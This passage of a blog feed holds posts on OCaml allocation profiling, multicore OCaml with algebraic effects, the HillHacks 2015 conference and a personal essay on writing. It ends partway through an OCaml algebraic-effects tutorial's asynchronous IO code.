  <span class="c">(* Without this call, profile isn't written out *)</span>
  <span class="n">output_profile</span> <span class="bp">()</span><span class="p">;</span>
  <span class="n">return</span> <span class="bp">()</span>

<span class="k">let</span> <span class="bp">()</span> <span class="o">=</span>
  <span class="nn">Command</span><span class="p">.</span><span class="n">async_basic</span>
    <span class="o">~</span><span class="n">summary</span><span class="o">:</span><span class="s2">"foo"</span>
    <span class="nn">Command</span><span class="p">.</span><span class="nn">Spec</span><span class="p">.(</span><span class="n">empty</span><span class="p">)</span>
    <span class="n">main</span>
  <span class="o">|&gt;</span> <span class="nn">Command</span><span class="p">.</span><span class="n">run</span></code></pre></figure>

<p>The program is compiled and run as follows:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>ocamlbuild <span class="nt">-use-ocamlfind</span> foo.byte <span class="nt">-package</span> core <span class="nt">-package</span> async <span class="nt">-tag</span> thread <span class="nt">-tag</span> debug
Finished, 3 targets <span class="o">(</span>0 cached<span class="o">)</span> <span class="k">in </span>00:00:00.
<span class="nv">$ CAML_PROFILE_ALLOC</span><span class="o">=</span>foo.preprof ./foo.byte
Hello!
<span class="nv">$ </span><span class="nb">ls </span>foo.preprof
foo.preprof</code></pre></figure>

<p>Thanks to <a href="https://github.com/trevorsummerssmith">trevorsummerssmith</a> for the
motivation and the example.</p>

<h1 id="conclusion">Conclusion</h1>

<p>The allocation profiler has been quite useful for optimizing small programs. It
would be interesting to see whether it scales to larger ones. Also, here is my
(non-exhaustive) wish list of features:</p>

<ul>
  <li>Improve tooling. Avoid the need to manually search through text files.</li>
  <li>Record stack allocation. This is especially important in multicore OCaml
  <a href="http://kcsrk.info/#ocaml15">since stacks are heap allocated</a>.</li>
  <li>Record the call stack information for allocations to get an informative profile.</li>
  <li>Dump the profile every few milliseconds to study the allocation behavior of
  programs over time.</li>
  <li>Save the <a href="https://ocaml.org/meetings/ocaml/2013/proposals/profiling-memory.pdf">location information in the object
  header</a>
  and dump the heap at every GC to catch space leaks.</li>
</ul>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Profiling for time does give you the time that the program spends in garbage collection functions such as minor GC cycles and major GC slices, but are not helpful for pinpointing allocation bottlenecks. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Experiment with OCaml Multicore and Algebraic Effects]]></title>
            <link>https://kcsrk.info/multicore/opam/ocaml/2015/09/10/ocaml-experimental-compilers/</link>
            <guid isPermaLink="false">https://kcsrk.info/multicore/opam/ocaml/2015/09/10/ocaml-experimental-compilers/</guid>
            <pubDate>Thu, 10 Sep 2015 13:11:00 GMT</pubDate>
            <description><![CDATA[I recently gave a talk on Algebraic Effects in OCaml at the OCaml Workshop
2015. The extended abstract and the
slides from the talk are available here. The slides
should provide a gentle introduction to programming with algebraic effects and
handlers in OCaml. The examples from the talk (and many more!) are available
here.
Algebraic effects in OCaml are available as a part of the multicore OCaml. The
experimental compiler could easily be installed using the OCaml Labs opam
development repo.
$ opam remote add ocamllabs -k git https://github.com/ocamllabs/opam-repo-dev
$ opam switch 4.02.2+multicore


If you are interested in contributing, please do experiment with algebraic
effects, and report any inevitable bugs or feature requests to the multicore
OCaml issue tracker.
We are also quite interested in hearing interesting applications of algebraic
effects such as the encoding of monadic
reflection
and one-shot multi-prompt delimited
control.
Feel free to submit pull requests with your examples.]]></description>
            <content:encoded><![CDATA[<p>I recently gave a talk on Algebraic Effects in OCaml at the <a href="https://ocaml.org/meetings/ocaml/2015/">OCaml Workshop
2015</a>. The extended abstract and the
slides from the talk are available <a href="http://kcsrk.info/#ocaml15">here</a>. The slides
should provide a gentle introduction to programming with algebraic effects and
handlers in OCaml. The examples from the talk (and many more!) are available
<a href="https://github.com/kayceesrk/ocaml-eff-example">here</a>.</p>

<!--more-->

<p>Algebraic effects in OCaml are available as a part of the multicore OCaml. The
experimental compiler could easily be installed using the OCaml Labs opam
development repo.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>opam remote add ocamllabs <span class="nt">-k</span> git https://github.com/ocamllabs/opam-repo-dev
<span class="nv">$ </span>opam switch 4.02.2+multicore</code></pre></figure>

<p>If you are interested in contributing, please do experiment with algebraic
effects, and report any inevitable bugs or feature requests to the multicore
OCaml <a href="https://github.com/ocamllabs/ocaml-multicore/issues">issue tracker</a>.</p>

<p>We are also quite interested in hearing interesting applications of algebraic
effects such as the encoding of <a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/reify_reflect.ml">monadic
reflection</a>
and <a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/delimcc.ml">one-shot multi-prompt delimited
control</a>.
Feel free to submit pull requests with your examples.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[HillHacks 2015]]></title>
            <link>https://captnemo.in/blog/2015/07/20/hillhacks/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/07/20/hillhacks/</guid>
            <pubDate>Mon, 20 Jul 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[A little while back, I came across HillHacks, a conference in Dharamshala about “hacking and making in the Himalayas”. I was instantly hooked. It took a lot of scheduling troubles, but I decided to stay for the entire unconference, which started at 23rd May.
Its hard to describe the HillHacks experience in a single blog post. I met so many amazing people from all over the world. Learned a lot of different things. I Had a lot of fun teaching some other things. I helped organize some of the stuff, and managed to stay awake an entire night while participating in an CTF. And on top of that, got to eat delicious food.
HillHacks as an event, was divided into two segments:
An unconference (23rd May - 3rd June)
Main Conference (4-7 June)
A lot of people had arrived before me at the venue and taken care of the basic infrastructure. We had internet connectivity via two local ISPs. We had IPV6 connectivity via a tunnel in Belgium as well.
There were a lot of fun activities planned everyday: from unicycling to skateboarding and playing Cards against Humanity; it was a lot of fun living with so many strangers and trying to figure out ways to help.
I did a talk on SDSLabs, a quiz for everyone, and an introductory session on CTF contests. We then participated in a CTF organized in Germany as Team HillHacks. On the last day of the conference, I did a [talk][josd-talk] on “The Joy of Software Development”, which is a book I am working on.
For the first time in my life, I met people who actually use BSD. And to make it even more amazing, I met NetBSD Kernel developers, people on the BSD Security Team, and people who prefer OpenBSD over NetBSD (I’d never really cared for the distinction, as a Linux user)
We did a lot of hacks, including running an MPD Daemon and streaming it over IceCast. I also spent a lot of time cubing and teaching people how to solve Rubik Cubes. My times have also improved somewhat as a result. Thanks to trouble, I also learnt how to solve a MegaMinx.
As part of the School Outreach program (organized by the brilliant Tink), we taught kids about Codes and Ciphers, programming, speedcubing and lots of other things. The kids also performed in the final Gala Show giving us brilliant performances in 3 different plays (all 3 schools had their own plays).
I learned a lot of different things: how to start with Kernel Programming, DNSSEC, Retro Gaming. Thanks to a few dedicated volunteers, we even made a 8-inch Telescope that made staring at the night sky so much fun. We had a session on Typography, a story telling session in Malayalam (translated to English on the fly). I even learnt a bit of Emacs.
The list is so long, I don’t think I can do it justice in this single blog post.
The most amazing part was not the technical things, but the community itself. sva would often say that everyone of us has “sudo access on the conference” (geekspeak for full authority). Each of us helped organize it, any way we could. The community got together to setup the stage, tents, network and the entire infrastructure at HillHacks. Zainab even has a blog post on social cooking at Hillhacks.
As I sit here at the venue, it has been 2 weeks of fun and awesomeness here at HillHacks. I leave with lots of memories and hope to be here next year.
If this blog post interests you, be sure to check out hackbeach as well. We are doing a mini-conference around November in Kovalam.]]></description>
            <content:encoded><![CDATA[<p>A little while back, I came across <a href="https://hillhacks.in" title="hacking and making in the Himalayas">HillHacks</a>, a conference in Dharamshala about “hacking and making in the Himalayas”. I was instantly hooked. It took a lot of scheduling troubles, but I decided to stay for the entire unconference, which started at 23rd May.</p>

<p>Its hard to describe the HillHacks experience in a single blog post. I met so many amazing people from all over the world. Learned a lot of different things. I Had a lot of fun teaching some other things. I helped organize some of the stuff, and managed to stay awake an entire night while participating in an CTF. And on top of that, got to eat delicious food.</p>

<p>HillHacks as an event, was divided into two segments:</p>

<ul>
  <li>An unconference (23rd May - 3rd June)</li>
  <li>Main Conference (4-7 June)</li>
</ul>

<p>A lot of people had arrived before me at the venue and taken care of the basic infrastructure. We had internet connectivity via two local ISPs. We had IPV6 connectivity via a tunnel in Belgium as well.</p>

<p>There were a lot of fun activities planned everyday: from unicycling to skateboarding and playing Cards against Humanity; it was a lot of fun living with so many strangers and trying to figure out ways to help.</p>

<p>I did a talk on <a href="http://sdslabs.co" title="SDSLabs is a campus group at IIT Roorkee">SDSLabs</a>, a <a href="https://speakerdeck.com/captn3m0/hillhacks-quiz" title="Hillhacks Quiz">quiz for everyone</a>, and an <a href="http://slides.com/captn3m0/ctf#/" title="Slides from the talk">introductory session on CTF contests</a>. We then participated in a <a href="http://signup.sqrts.de/" title="Page is in german">CTF</a> organized in Germany as Team HillHacks. On the last day of the conference, I did a [talk][josd-talk] on “The Joy of Software Development”, which is a <a href="https://josd.captnemo.in/" title="Joy of Software Development Book Website">book I am working on</a>.</p>

<p>For the first time in my life, I met people who actually use BSD. And to make it even more amazing, I met NetBSD Kernel developers, people on the BSD Security Team, and people who prefer OpenBSD over NetBSD (I’d never really cared for the distinction, as a Linux user)</p>

<p>We did a lot of hacks, including running an MPD Daemon and streaming it over IceCast. I also spent a lot of time cubing and teaching people how to solve Rubik Cubes. My times have also improved somewhat as a result. Thanks to <a href="https://trouble.is/bio/" title="trouble's bio page">trouble</a>, I also learnt how to solve a MegaMinx.</p>

<p>As part of the School Outreach program (organized by the brilliant <a href="https://twitter.com/mediatinker" title="Her twitter profile">Tink</a>), we taught kids about Codes and Ciphers, programming, speedcubing and lots of other things. The kids also performed in the final Gala Show giving us brilliant performances in 3 different plays (all 3 schools had their own plays).</p>

<p>I learned a lot of different things: how to start with Kernel Programming, DNSSEC, Retro Gaming. Thanks to a few dedicated volunteers, we even made a 8-inch Telescope that made staring at the night sky so much fun. We had a session on Typography, a story telling session in Malayalam (translated to English on the fly). I even learnt a bit of Emacs.</p>

<p>The list is so long, I don’t think I can do it justice in this single blog post.</p>

<p>The most amazing part was not the technical things, but the community itself. <a href="https://twitter.com/sva" title="sva on twitter">sva</a> would often say that everyone of us has “sudo access on the conference” (geekspeak for full authority). Each of us helped organize it, any way we could. The community got together to setup the stage, tents, network and the entire infrastructure at HillHacks. Zainab even has a blog post on <a href="https://medium.com/@zainabbawa/on-community-and-the-art-of-various-cookings-511c31c33498" title="On community, and the art of various cookings">social cooking at Hillhacks</a>.</p>

<p>As I sit here at the venue, it has been 2 weeks of fun and awesomeness here at HillHacks. I leave with lots of memories and hope to be here next year.</p>

<p>If this blog post interests you, be sure to check out <a href="https://hackbeach.in" title="HackBeach wiki page">hackbeach</a> as well. We are doing a mini-conference around November in Kovalam.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Thoughts on Writing]]></title>
            <link>https://captnemo.in/blog/2015/06/07/on-writing/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/06/07/on-writing/</guid>
            <pubDate>Sun, 07 Jun 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[I have always wanted to be a writer. I think secretly us all reader-folk have that ambition. The joy of getting across your thoughts to another person without ever having met them is enormous.
Most of my writing time these days is spent over email, chat or my not-so-frequent blog posts. I tend to do a lot of research while writing, and it takes up a lot of time. As such, my writing output tends to be diminutive compared to what I’d like.
However, if you’ll go through my blog posts and emails, I write a lot about trivial things. Things that many people have already written about. Things that have probably been discussed to death, and where I have very little chance of actually coming up with something new.
Should I still go ahead and write about it?
This question has been bugging me for a while, especially as a blogger. I mostly write on technical topics these days. For instance, I have given talks on [Software Development], [UX Design], and even [Bitcoin]. I am nowhere close to being an authority on any of these things. Even in my specialized field of Web Development, there are so many things that I’m only barely aware about. So many things I am yet to even form my own opinions about. Topics I don’t even know exist.
When I go and read an article about Software Development from Joel Spolsky, or an article on Security by Bruce Schneier, or something on Startups by Paul Graham, or tptacek on Hacker News; I instantly sit back and take notice: I know their credentials and the fact that they are speaking authoritatively on the topic. However, what can I, a meager undergrad with almost zero experience, write on such topics. Why should I even try, when there are people hundreds of time better who understand these things a thousand times better than me.
In retrospect, this sounds quite similar to the Imposter Syndrome; and I’m not sure if this is exactly the same thing. I don’t get a feeling that I’m a fraud. I totally understand my own capabilities and successes, but the mere fact that there are people far better at what I’m doing is enough to dis-hearten me.
I’ve given this a lot of thought. A really good summary of my response is in the following answer by James Erwin, author of Rome Sweet Rome in a reddit AMA to a question asking for writer advice:
And if you’re going to write, write what you want to write. The odds against any creator are insane. If you’re going to devote months of your time, don’t let it be for an idea you think will sell. Odds are it won’t. Write something you want to write, or need to write. Write for yourself before anyone else. I’d rather read someone who is excited and passionate about what they want to say than someone who’s obviously trying to say what they think I want to hear.
— James Erwin
I write, despite all these doubts, for the following reasons:
Self-learning. A blog is an excellent way to keep track of your self-learning. Its amazing to come back a few years later and see the things you were struggling with before. Its equally amazing to do a trivial google search for an issue you face and find your own blog post or stackoverflow answer on the same.
Sharing Knowledge. Yes, there are people who might know it better, but that shouldn’t mean I should keep my knowledge to myself. That would go against all the values that I stand for.
Network Effect: Not in the strictest sense of the word, but my friend Shashank recently brought this up. I have a circle of people who know me and would vouch for my credentials. For the same reason, they are more likely to trust me as source, instead of a third person who they have no knowledge of.
I love writing. The mere process of putting words down is enchanting for me.
The next question that rises is: “What should I write about?”. Ruling out things I have no clue about, that still leaves a large number of topics I can cover. I am interested in UX Design, Hackers, Computer Security, Software Development, rationalism, skepticism, Free and Open Source movements, Political activism, Technocracy with a passing interest in several other fields such as cosmology and geek culture.
I am not going to pick one every day and write about something new. I don’t want to write something rubbish just for the sake of writing it. I ultimately want to write because I have something to say. It doesn’t have to be unique or ground-breaking. What matters is that I want to write about it.
A few days back someone contacted me on facebook asking me advice on getting started with web development. I get a lot of these queries, mostly over facebook, email, and quora. Our conversation went back and forth with me suggesting resources, and he getting exceedingly confused over whether he should use codecademy or udacity, or coursera or something else.
I have devoted a lot of time in my life to teaching people the nuances of these things. I have mentored many people, and acutely know the issues a beginner faces. In turn, I had an amazing mentor who taught me the importance of always learning things.
All of this lead me to realize one fact: I have been writing a lot about Software Development. Unfortunately, a lot of it is in private emails and chat. And I wanna write more about it, on a public medium.
So, I’m announcing the next thing I’m working on: a book called The Joy of Software Development. A few obligatory links:
The source code is available on GitHub.
Its licensed under the CC-by-SA 4.0 license.
The canonical url for the site is https://josd.captnemo.in/
Its hosted on the excellent GitBook platform, which automatically publishes each version as epub, mobi, and pdf as well.
Who the target audience for the book is.
You can file an issue for critique on GitHub
As expected, all the development, writing, and discussion on the book will be in the public, mostly on GitHub. I am writing this book, because I feel it needs to be written. I don’t expect it to be published, but that won’t stop me from writing it.
Artur Siekielski recently came across it, and wrote the following:
The book you’re writing looks very good! It’s filling a niche as I don’t think there are any modern books that focus on “bird’s eye view”, and I see it would be helpful for many programmers to refresh knowledge.
That gave me a bit of validation, as the only person who’d read it so far were my close friends.
If you wanna support its development, you can do one of the following:
Poke me on twitter or email and let me know you want to read it
Subscribe to the mailing list (I’ll send out updates there)
Watch or Star the repo on GitHub.
See the CONTRIBUTING file on github for contributing to the text.
Asking for Donations might sound weird to some. I don’t really need the money, but I think I’d get an additional sense of responsibility towards finishing it if people start giving me money. I will be donating the entire proceedings to EFF.]]></description>
            <content:encoded><![CDATA[<p>I have always wanted to be a writer. I think secretly us all reader-folk have that ambition. The joy of getting across your thoughts to another person without ever having met them is enormous.</p>

<p>Most of my writing time these days is spent over email, chat or my not-so-frequent blog posts. I tend to do a lot of research while writing, and it takes up a lot of time. As such, my writing output tends to be diminutive compared to what I’d like.</p>

<p>However, if you’ll go through my blog posts and emails, I write a lot about <em>trivial things</em>. Things that many people have already written about. Things that have probably been discussed to death, and where I have very little chance of actually coming up with something new.</p>

<p>Should I still go ahead and write about it?</p>

<p>This question has been bugging me for a while, especially as a blogger. I mostly write on technical topics these days. For instance, I have given talks on [Software Development], [UX Design], and even [Bitcoin]. I am nowhere close to being an authority on any of these things. Even in my specialized field of Web Development, there are so many things that I’m only barely aware about. So many things I am yet to even form my own opinions about. Topics I don’t even know exist.</p>

<p>When I go and read an article about Software Development from <a href="http://www.joelonsoftware.com/" title="Joel on Software">Joel Spolsky</a>, or an article on Security by <a href="https://www.schneier.com/" title="Schneier on Security">Bruce Schneier</a>, or something on Startups by <a href="http://paulgraham.com/articles.html" title="Essays by Paul Graham">Paul Graham</a>, or <a href="https://news.ycombinator.com/threads?id=tptacek" title="tptacek's comments on HN">tptacek</a> on Hacker News; I instantly sit back and take notice: I know their credentials and the fact that they are speaking authoritatively on the topic. However, what can I, a meager undergrad with almost zero experience, write on such topics. Why should I even try, when there are people hundreds of time better who understand these things a thousand times better than me.</p>

<p>In retrospect, this sounds quite similar to the <a href="https://en.wikipedia.org/wiki/Impostor_syndrome" title="Impostor syndrome">Imposter Syndrome</a>; and I’m not sure if this is exactly the same thing. I don’t get a feeling that I’m a fraud. I totally understand my own capabilities and successes, but the mere fact that there are people far better at what I’m doing is enough to dis-hearten me.</p>

<p>I’ve given this a lot of thought. A really good summary of my response is in the following answer by <a href="http://www.prufrock451.com/" title="Official website for James Erwin">James Erwin</a>, author of Rome Sweet Rome in a reddit AMA to a question asking for writer advice:</p>

<blockquote>
  <p>And if you’re going to write, write what you want to write. The odds against any creator are insane. If you’re going to devote months of your time, don’t let it be for an idea you think will sell. Odds are it won’t. Write something you want to write, or need to write. Write for yourself before anyone else. I’d rather read someone who is excited and passionate about what they want to say than someone who’s obviously trying to say what they think I want to hear.</p>

  <p>— <a href="https://www.reddit.com/r/IAmA/comments/2w72o7/so_i_sold_a_reddit_reply_to_warner_brothers_a_few/coo5gys" title="permalink to quote in his reddit ama thread">James Erwin</a></p>
</blockquote>

<p>I write, despite all these doubts, for the following reasons:</p>

<ol>
  <li>Self-learning. A blog is an excellent way to keep track of your self-learning. Its amazing to come back a few years later and see the things you were struggling with before. Its equally amazing to do a trivial google search for an issue you face and find your own blog post or stackoverflow answer on the same.</li>
  <li>Sharing Knowledge. Yes, there are people who might know it better, but that shouldn’t mean I should keep my knowledge to myself. That would go against all the values that I stand for.</li>
  <li>Network Effect: Not in the strictest sense of the word, but my friend <a href="http://shashankmehta.in" title="Shashank's personal website">Shashank</a> recently brought this up. I have a circle of people who know me and would vouch for my credentials. For the same reason, they are more likely to trust me as source, instead of a third person who they have no knowledge of.</li>
  <li>I love writing. The mere process of putting words down is enchanting for me.</li>
</ol>

<p>The next question that rises is: “What should I write about?”. Ruling out things I have no clue about, that still leaves a large number of topics I can cover. I am interested in UX Design, Hackers, Computer Security, Software Development, rationalism, skepticism, Free and Open Source movements, Political activism, Technocracy with a passing interest in several other fields such as cosmology and geek culture.</p>

<p>I am not going to pick one every day and write about something new. I don’t want to write something rubbish just for the sake of writing it. I ultimately want to write because I have something to say. It doesn’t have to be unique or ground-breaking. What matters is that I <em>want to write about it</em>.</p>

<p>A few days back someone contacted me on facebook asking me advice on getting started with web development. I get a lot of these queries, mostly over facebook, email, and quora. Our conversation went back and forth with me suggesting resources, and he getting exceedingly confused over whether he should use codecademy or udacity, or coursera or something else.</p>

<p>I have devoted a lot of time in my life to teaching people the nuances of these things. I have mentored many people, and acutely know the issues a beginner faces. In turn, I had <a href="https://twitter.com/kumar_ishan" title="Kumar Ishan">an amazing mentor</a> who taught me the importance of always learning things.</p>

<p>All of this lead me to realize one fact: I have been writing a lot about Software Development. Unfortunately, a lot of it is in private emails and chat. And I wanna write more about it, on a public medium.</p>

<p>So, I’m announcing the next thing I’m working on: a book called <a href="">The Joy of Software Development</a>. A few obligatory links:</p>

<ul>
  <li>The source code is available on <a href="https://github.com/captn3m0/the-joy-of-software-development" title="GitHub source for the book">GitHub</a>.</li>
  <li>Its licensed under the <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-by-SA 4.0 license</a>.</li>
  <li>The canonical url for the site is <a href="https://josd.captnemo.in/" title="The Joy of Software Development">https://josd.captnemo.in/</a></li>
  <li>Its hosted on the excellent <a href="http://gitbook.com/" title="GitBook">GitBook</a> platform, which automatically publishes each version as epub, mobi, and pdf as well.</li>
  <li>Who the <a href="https://josd.captnemo.in/content/hn.html" title="A few words to the HN community">target audience</a> for the book is.</li>
  <li>You can <a href="https://github.com/captn3m0/the-joy-of-software-development/issues/new" title="File a new issue for the book">file an issue</a> for critique on GitHub</li>
</ul>

<p>As expected, all the development, writing, and discussion on the book will be in the public, mostly on GitHub. I am writing this book, because I feel it needs to be written. I don’t expect it to be published, but that won’t stop me from writing it.</p>

<p><a href="https://github.com/aartur" title="He's made hackerusesthis">Artur Siekielski</a> recently came across it, and wrote the following:</p>

<blockquote>
  <p>The book you’re writing looks very good! It’s filling a niche as I don’t think there are any modern books that focus on “bird’s eye view”, and I see it would be helpful for many programmers to refresh knowledge.</p>
</blockquote>

<p>That gave me a bit of validation, as the only person who’d read it so far were my close friends.</p>

<p>If you wanna support its development, you can do one of the following:</p>

<ul>
  <li>Poke me on <a href="https://twitter.com/captn3m0" title="@captn3m0">twitter</a> or <a href="https://captnemo.in/contact/">email</a> and let me know you want to read it</li>
  <li><a href="https://josd.captnemo.in/" title="The Joy of Software Development">Subscribe</a> to the mailing list (I’ll send out updates there)</li>
  <li>Watch or Star the repo on <a href="https://github.com/captn3m0/the-joy-of-software-development" title="GitHub source for the book">GitHub</a>.</li>
  <li>See the <a href="https://github.com/captn3m0/the-joy-of-software-development/blob/master/CONTRIBUTING.md" title="Contributing Guide on GitHub">CONTRIBUTING</a> file on github for contributing to the text.</li>
</ul>

<p>Asking for Donations might sound weird to some. I don’t really need the money, but I think I’d get an additional sense of responsibility towards finishing it if people start giving me money. I will be donating the entire proceedings to <a href="https://www.eff.org/" title="Electronic Frontier Foundation">EFF</a>.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Pearls of Algebraic Effects and Handlers]]></title>
            <link>https://kcsrk.info/ocaml/multicore/effects/2015/05/27/more-effects/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/multicore/effects/2015/05/27/more-effects/</guid>
            <pubDate>Wed, 27 May 2015 14:06:00 GMT</pubDate>
            <description><![CDATA[In the previous
post, I
presented a simple cooperative multithreaded scheduler written using algebraic
effects and their handlers. Algebraic effects are of course useful for
expressing other forms of effectful computations. In this post, I will present
a series of simple examples to illustrate the utility of algebraic effects and
handlers in OCaml. Some of the examples presented here were borrowed from the
excellent paper on Eff programming language1. All of the examples
presented below are available
here.
State
We can use algebraic effects to model stateful
computation,
with the ability to retrieve (get) and update (put) the current state:
module type STATE = sig
  type t
  val put : t -> unit
  val get : unit -> t
  val run : (unit -> unit) -> init:t -> unit
end


The function run runs a stateful computation with the given initial state.
Here is the implementation of the module State which provides the desired
behaviour:



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

module State (S : sig type t end) : STATE with type t = S.t = struct
  type t = S.t

  effect Put : t -> unit
  let put v = perform (Put v)

  effect Get : t
  let get () = perform Get

  let run f ~init =
    let comp =
      match f () with
      | () -> (fun s -> ())
      | effect (Put s') k -> (fun s -> continue k () s')
      | effect Get k -> (fun s -> continue k s s)
    in comp init
end





The key idea here is that the handler converts the stateful computation to
functions that accept the state. For example, observe that if the function f
returns a unit value (line 13), we return a function which accepts a state
s and returns unit. The handler for effect Get (line 15) passes the current state s
to the continuation k. The expression continue k s returns a function that
accepts the current state and returns unit. Since fetching the current state
does not modify it, we apply this function to s, the original state. Since
Put modifies the state (line 14), the function returned by continue k () is applied
to the new state s'. We evaluate the computation by applying it to the initial
state init (line 16).
Observe that the implementation of the handler for the stateful computation is
similar to the implementation of State
monad in Haskell. Except
that in Haskell, you would have the stateful computation f have the type
State t (), which says that f is a stateful computation where t is the
type of state and  () the type of return value. Since multicore OCaml does
not have a effect system, f simply has type unit -> unit as opposed to
being explicitly tagged with the effects being performed. While the OCaml type
of f under specifies the behaviour of f, it does allow you to combine various
kinds of effects directly, without the need for monad transformer
gymnastics2. For example, the following code snippet combines an int
and string typed state computations, each with its own handler:
module IS = State (struct type t = int end)
module SS = State (struct type t = string end)

let foo () : unit =
  printf "%d\n" (IS.get ());
  IS.put 42;
  printf "%d\n" (IS.get ());
  IS.put 21;
  printf "%d\n" (IS.get ());
  SS.put "hello";
  printf "%s\n" (SS.get ());
  SS.put "world";
  printf "%s\n" (SS.get ())

let _ = IS.run (fun () -> SS.run foo "") 0


which prints:
0
42
21
hello
world


References
We can expand upon our state example, to model ML style
references:
module State : sig
    type 'a t

    val ref  : 'a -> 'a t
    val (!)  : 'a t -> 'a
    val (:=) : 'a t -> 'a -> unit

    val run  : (unit -> 'a) -> 'a
  end = struct

  type 'a t = {inj : 'a -> Univ.t; prj : Univ.t -> 'a option}

  effect Ref : 'a -> 'a t
  let ref v = perform (Ref v)

  effect Read : 'a t -> 'a
  let (!) = fun r -> perform (Read r)

  effect Write : 'a t * 'a -> unit
  let (:=) = fun r v -> perform (Write (r,v))

  let run f =
    let comp =
      match f () with
      | v -> (fun s -> v)
      | effect (Ref v) k -> (fun s ->
          let (inj, prj) = Univ.embed () in
          let cont = continue k {inj;prj} in
          cont (inj v::s))
      | effect (Read {inj; prj}) k -> (fun s ->
          match find prj s with
          | Some v -> continue k v s
          | None -> failwith "Ref.run: Impossible -> ref not found")
      | effect (Write ({inj; prj}, v)) k -> (fun s ->
          continue k () (inj v::s))
    in comp []
end


The idea is to represent the state as a list of universal typed values,
references as a record with inject and project functions to and from universal
type values, assign as appending a new value to the head of the state list, and
dereference as linear search through the list for a matching assignment. The
universal type
implementation is
due to Alan Frisch.
Transactions
We may handle lookup and update to implement
transactions
that discards the updates to references in case an exception occurs:
  let atomically f =
    let comp =
      match f () with
      | x -> (fun _ -> x)
      | exception e -> (fun rb -> rb (); raise e)
      | effect (Update (r,v)) k -> (fun rb ->
          let old_v = !r in
          r := v;
          continue k () (fun () -> r := old_v; rb ()))
    in comp (fun () -> ())


Updating a reference builds up a rollback function that negates the effect of
the update. In case of an exception, the rollback function is evaluated before
re-raising the exception. For example, in the following code snippet:
exception Res of int

let () = atomically (fun () -> (* T0 *)
  let r = ref 10 in
  printf "T0: %d\n" (!r);
  try atomically (fun () -> (* T1 *)
    r := 20;
    r := 21;
    printf "T1: Before abort %d\n" (!r);
    raise (Res !r);
    printf "T1: After abort %d\n" (!r);
    r := 30)
  with
  | Res v -> printf "T0: T1 aborted with %d\n" v;
  printf "T0: %d\n" !r)


the updates to reference r by transaction T1 are discarded on exception and
the program prints the following:
T0: 10
T1: Before abort 21
T0: T1 aborted with 21
T0: 10


From Iterators to Generators
An iterator is a fold-function of type ('a -> unit) -> unit, that iterates a
client function over all the elements of a data structure. A generator is a
function of type unit -> 'a option that returns Some v each time the
function is invoked, where v is the next-element in the data structure. The
function returns None if the traversal is complete. Unlike an iterator, the
generator hands over control of the traversal to the client of the library.
Gabriel Scherer’s insightful article on generators, iterators, control and
continuations
nicely distinguish, motivate and provide implementation of different kinds of
iterators and generators for binary trees. While the iterator implementation is
obvious and straight-forward, the generator implementation requires translating
the code to CPS style and manually performing simplifications for efficient
traversal. Since algebraic effects handlers give us a handle to the
continuation, we can essentially derive the generator implementation from
the
iterator.
Let us consider a binary tree with the following type:
type 'a t = Leaf | Node of 'a t * 'a * 'a t


We can define an iterator that traverses the tree from left to right as follows:
let rec iter f = function
  | Leaf -> ()
  | Node (l, x, r) -> iter f l; f x; iter f r


From this iterator, we derive the generator as follows:



1
2
3
4
5
6
7
8
9
10
11
12
13
14

let to_gen (type a) (t : a t) =
  let module M = struct effect Next : a -> unit end in
  let open M in
  let step = ref (fun () -> assert false) in
  let first_step () =
    try
      iter (fun x -> perform (Next x)) t;
      None
    with effect (Next v) k ->
      step := continue k;
      Some v
  in
    step := first_step;
    fun () -> !step ()





At each step of the iteration, we perform the effect Next : a -> unit (line
7), which is handled by saving the continuation to a local reference and
returning the value (line 9 - 11). Since the effect handlers are provided with
the continuation, we are able to invert the control from the library to the
client of the library. This avoids the need to perform manual CPS translation.
Direct-style asynchronous IO
Since the effect handler has access to the continuation, we can implement
minimal asynchronous IO in
direct-style
as opposed to the monadic style of asynchronous IO libraries such as Lwt and
Async. Our asynchronous IO library has the following interface:
module type AIO = sig

  val fork  : (unit -> unit) -> unit
  val yield : unit -> unit

  type file_descr = Unix.file_descr
  type sockaddr = Unix.sockaddr
  type msg_flag = Unix.msg_flag

  val accept : file_descr -> file_descr * sockaddr
  val recv   : file_descr -> bytes -> int -> int -> msg_flag list -> int
  val send   : file_descr -> bytes -> int -> int -> msg_flag list -> int
  val sleep  : float -> unit

  val run : (unit -> unit) -> unit
end


Observe that the return type of the non-blocking function calls accept,
recv, send and sleep are the same as their blocking counterparts from
Unix module.
The asynchronous IO implementation works as follows. For each blocking action,
if the action can be performed immediately, then it is. Otherwise, the thread
performing the blocking task is suspended and add to a pool of threads waiting
to perform IO:
(* Block until data is available to read on the socket. *)
effect Blk_read  : file_descr -> unit
(* Block until socket is writable. *)
effect Blk_write : file_descr -> unit
(* Sleep for given number of seconds. *)
effect Sleep : float -> unit

let rec core f =
  match f () with
  ...
  | effect (Blk_read fd) k ->
      if poll_rd fd then continue k ()
      else (Hashtbl.add read_ht fd k;
            dequeue ())
  | effect (Blk_write fd) k ->
      if poll_wr fd then continue k ()
      else (Hashtbl.add write_ht fd k;
            dequeue ())
  | effect (Sleep t) k ->
        if t <= 0. then continue k ()
        else (Hashtbl.add sleep_ht (Unix.gettimeofday () +. t) k;
              dequeue ())

let accept fd =
  perform (Blk_read fd);
  Unix.accept fd

let recv fd buf pos len mode =
  perform (Blk_read fd);
